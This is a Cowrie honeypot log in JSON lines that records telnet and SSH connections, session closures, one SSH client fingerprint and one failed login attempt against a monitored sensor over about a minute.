{"eventid":"cowrie.session.closed","duration":30.518364191055298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:27.042402Z","src_ip":"77.72.5.107","session":"7fece2946391","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":48574,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ed1595c7f74","protocol":"telnet","message":"New connection: 138.197.5.236:48574 (159.203.135.109:23) [session: 0ed1595c7f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:28.154357Z"}
{"eventid":"cowrie.session.closed","duration":30.918506383895874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:29.079866Z","src_ip":"107.152.33.170","session":"37c5907146a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":50050,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bb5ed29688b","protocol":"telnet","message":"New connection: 138.197.5.236:50050 (159.203.135.109:23) [session: 0bb5ed29688b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:29.454331Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":41208,"dst_ip":"159.203.135.109","dst_port":23,"session":"701dd4054723","protocol":"telnet","message":"New connection: 62.77.140.101:41208 (159.203.135.109:23) [session: 701dd4054723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:29.459115Z"}
{"eventid":"cowrie.session.closed","duration":31.136231184005737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:29.614601Z","src_ip":"77.72.5.107","session":"e0aef78e5b84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.802035093307495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:30.199550Z","src_ip":"138.197.5.236","session":"f09da5638095","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.601828575134277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:31.303178Z","src_ip":"107.152.33.170","session":"143789cd8e3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":56510,"dst_ip":"159.203.135.109","dst_port":23,"session":"3362a8551d59","protocol":"telnet","message":"New connection: 136.244.67.81:56510 (159.203.135.109:23) [session: 3362a8551d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:31.400717Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":41222,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d7722e13fff","protocol":"telnet","message":"New connection: 62.77.140.101:41222 (159.203.135.109:23) [session: 7d7722e13fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:31.499306Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":52692,"dst_ip":"159.203.135.109","dst_port":23,"session":"67d8170bddff","protocol":"telnet","message":"New connection: 138.197.5.236:52692 (159.203.135.109:23) [session: 67d8170bddff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:31.873655Z"}
{"eventid":"cowrie.session.closed","duration":30.335842609405518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:32.129690Z","src_ip":"62.77.140.101","session":"0ec720cea294","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":53162,"dst_ip":"159.203.135.109","dst_port":23,"session":"49d73493e7a0","protocol":"telnet","message":"New connection: 138.197.5.236:53162 (159.203.135.109:23) [session: 49d73493e7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:32.471523Z"}
{"eventid":"cowrie.session.closed","duration":30.520902395248413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:33.103603Z","src_ip":"107.152.33.170","session":"9bb3e751f28e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.947030782699585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:33.300646Z","src_ip":"138.197.5.236","session":"2655d39e7d4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":38212,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d44a279d0d4","protocol":"telnet","message":"New connection: 77.72.5.107:38212 (159.203.135.109:23) [session: 4d44a279d0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:33.373298Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":51524,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dea4895e822","protocol":"telnet","message":"New connection: 138.197.5.236:51524 (159.203.135.109:23) [session: 0dea4895e822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:33.745923Z"}
{"eventid":"cowrie.session.closed","duration":30.787637948989868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:34.120959Z","src_ip":"77.72.5.107","session":"ae375607dd0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.425255298614502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:35.088878Z","src_ip":"62.77.140.101","session":"93e20e313eb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77566695213318,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:35.616543Z","src_ip":"138.197.5.236","session":"c40f2dddfe18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.945751190185547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:36.066865Z","src_ip":"107.152.33.170","session":"5b019ebfabb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":58680,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd2ab9da1a3e","protocol":"telnet","message":"New connection: 138.197.5.236:58680 (159.203.135.109:23) [session: fd2ab9da1a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:38.163686Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":56264,"dst_ip":"159.203.135.109","dst_port":23,"session":"37a39982a6d2","protocol":"telnet","message":"New connection: 138.197.5.236:56264 (159.203.135.109:23) [session: 37a39982a6d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:38.641501Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":44162,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f3f25e7877e","protocol":"telnet","message":"New connection: 62.77.140.101:44162 (159.203.135.109:23) [session: 6f3f25e7877e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:38.887645Z"}
{"eventid":"cowrie.session.closed","duration":31.07214331626892,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:39.216532Z","src_ip":"138.197.5.236","session":"2d99be194287","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74482560157776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:40.033286Z","src_ip":"107.152.33.170","session":"3843d91863bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68993902206421,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:40.140079Z","src_ip":"107.152.33.170","session":"f3dd4ff858b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.255998134613037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:40.186929Z","src_ip":"167.71.198.239","session":"d6922a00f9db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.097344160079956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:40.207677Z","src_ip":"138.197.5.236","session":"16f21c204c21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":44174,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9fad70c0516","protocol":"telnet","message":"New connection: 62.77.140.101:44174 (159.203.135.109:23) [session: c9fad70c0516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:41.074607Z"}
{"eventid":"cowrie.session.closed","duration":30.447643041610718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:41.144392Z","src_ip":"62.77.140.101","session":"0941fa6a2ffc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12836456298828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:41.241867Z","src_ip":"138.197.5.236","session":"5be462d7e756","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.802533864974976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:42.045150Z","src_ip":"77.72.5.107","session":"f54b9ef7b9c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18148422241211,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:42.214774Z","src_ip":"77.72.5.107","session":"a54bd48abfb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.979077577590942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:42.259107Z","src_ip":"107.152.33.170","session":"d10bb508b6fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":44176,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b43aac832fb","protocol":"telnet","message":"New connection: 62.77.140.101:44176 (159.203.135.109:23) [session: 6b43aac832fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:42.576936Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":34668,"dst_ip":"159.203.135.109","dst_port":23,"session":"c633669e8163","protocol":"telnet","message":"New connection: 138.197.5.236:34668 (159.203.135.109:23) [session: c633669e8163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:42.599970Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":42793,"dst_ip":"159.203.135.109","dst_port":22,"session":"e23acd4b908b","protocol":"ssh","message":"New connection: 119.195.89.96:42793 (159.203.135.109:22) [session: e23acd4b908b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:43.477360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:43.481957Z","src_ip":"119.195.89.96","session":"e23acd4b908b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:43.680470Z","src_ip":"119.195.89.96","session":"e23acd4b908b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.758233070373535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:44.060081Z","src_ip":"77.72.5.107","session":"cf40ca902b4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90543508529663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:44.199286Z","src_ip":"107.152.33.170","session":"2c816fe83fd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.546034574508667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:44.299164Z","src_ip":"77.72.5.107","session":"da2004f27817","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@ssw0rd!","message":"login attempt [test/P@ssw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:44.487602Z","src_ip":"119.195.89.96","session":"e23acd4b908b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":44180,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b2cd5f15e25","protocol":"telnet","message":"New connection: 62.77.140.101:44180 (159.203.135.109:23) [session: 6b2cd5f15e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:45.002715Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":37436,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7b6b3458abf","protocol":"telnet","message":"New connection: 138.197.5.236:37436 (159.203.135.109:23) [session: c7b6b3458abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:45.229857Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":44182,"dst_ip":"159.203.135.109","dst_port":23,"session":"032ba3c1cce4","protocol":"telnet","message":"New connection: 62.77.140.101:44182 (159.203.135.109:23) [session: 032ba3c1cce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:45.319377Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:45.683260Z","src_ip":"119.195.89.96","session":"e23acd4b908b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.19618558883667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:46.558638Z","src_ip":"77.72.5.107","session":"f270813c15a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.880406856536865,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:47.192998Z","src_ip":"77.72.5.107","session":"01da9bd74827","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.994308471679688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:47.238668Z","src_ip":"138.197.5.236","session":"d9e2f9599d39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":39392,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc4f140efa74","protocol":"telnet","message":"New connection: 138.197.5.236:39392 (159.203.135.109:23) [session: dc4f140efa74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:47.323248Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":44996,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf47fe12310f","protocol":"telnet","message":"New connection: 62.77.140.101:44996 (159.203.135.109:23) [session: bf47fe12310f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:47.439465Z"}
{"eventid":"cowrie.session.closed","duration":31.493984699249268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:47.505036Z","src_ip":"107.152.33.170","session":"ecdd83a572bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.932498455047607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:48.408581Z","src_ip":"138.197.5.236","session":"61016032da84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":43896,"dst_ip":"159.203.135.109","dst_port":23,"session":"608a248c809b","protocol":"telnet","message":"New connection: 136.244.67.81:43896 (159.203.135.109:23) [session: 608a248c809b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:48.440567Z"}
{"eventid":"cowrie.session.closed","duration":30.59093165397644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:49.250893Z","src_ip":"77.72.5.107","session":"78cf834b3351","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":43904,"dst_ip":"159.203.135.109","dst_port":23,"session":"46b0bfa35f09","protocol":"telnet","message":"New connection: 136.244.67.81:43904 (159.203.135.109:23) [session: 46b0bfa35f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:49.456830Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":45006,"dst_ip":"159.203.135.109","dst_port":23,"session":"98700f4c8e35","protocol":"telnet","message":"New connection: 62.77.140.101:45006 (159.203.135.109:23) [session: 98700f4c8e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:50.172479Z"}
{"eventid":"cowrie.session.closed","duration":31.050727367401123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:50.326931Z","src_ip":"138.197.5.236","session":"946c3eda7a9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.257790565490723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:50.637579Z","src_ip":"136.244.67.81","session":"6b9705ea0c82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":43906,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc702c6ab4b0","protocol":"telnet","message":"New connection: 136.244.67.81:43906 (159.203.135.109:23) [session: cc702c6ab4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:50.876771Z"}
{"eventid":"cowrie.session.closed","duration":31.521718502044678,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:50.997386Z","src_ip":"77.72.5.107","session":"3015e2f63fb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60666251182556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:51.201926Z","src_ip":"77.72.5.107","session":"293c2e34cd8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":45010,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf32dbd8b1cd","protocol":"telnet","message":"New connection: 62.77.140.101:45010 (159.203.135.109:23) [session: bf32dbd8b1cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:51.419555Z"}
{"eventid":"cowrie.session.closed","duration":30.95710277557373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:51.545970Z","src_ip":"138.197.5.236","session":"f13e464234c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.13822865486145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:52.035382Z","src_ip":"107.152.33.170","session":"d2286c555dc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56286382675171,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:52.072542Z","src_ip":"62.77.140.101","session":"86ad52e8bf8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":45012,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fd06f501aac","protocol":"telnet","message":"New connection: 62.77.140.101:45012 (159.203.135.109:23) [session: 9fd06f501aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:53.299971Z"}
{"eventid":"cowrie.session.closed","duration":30.308897018432617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:54.069417Z","src_ip":"77.72.5.107","session":"286b24f39ab4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.89101243019104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:54.996777Z","src_ip":"77.72.5.107","session":"d4eb1b556cbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.003748416900635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:55.192528Z","src_ip":"107.152.33.170","session":"903a4e6e42cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":36166,"dst_ip":"10.17.0.5","dst_port":23,"session":"70a749cee70e","protocol":"telnet","message":"New connection: 85.190.254.94:36166 (10.17.0.5:23) [session: 70a749cee70e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:56.702300Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":50292,"dst_ip":"159.203.135.109","dst_port":23,"session":"e64a19490b12","protocol":"telnet","message":"New connection: 138.197.5.236:50292 (159.203.135.109:23) [session: e64a19490b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:58.139333Z"}
{"eventid":"cowrie.session.closed","duration":32.69005489349365,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:58.752397Z","src_ip":"77.72.5.107","session":"5376fcd288ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.018502950668335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:59.172756Z","src_ip":"138.197.5.236","session":"0ed1595c7f74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78258752822876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:00.236833Z","src_ip":"138.197.5.236","session":"0bb5ed29688b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.829567193984985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:00.288584Z","src_ip":"62.77.140.101","session":"701dd4054723","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":43524,"dst_ip":"159.203.135.109","dst_port":23,"session":"203c440b7eef","protocol":"telnet","message":"New connection: 62.77.140.101:43524 (159.203.135.109:23) [session: 203c440b7eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:00.333433Z"}
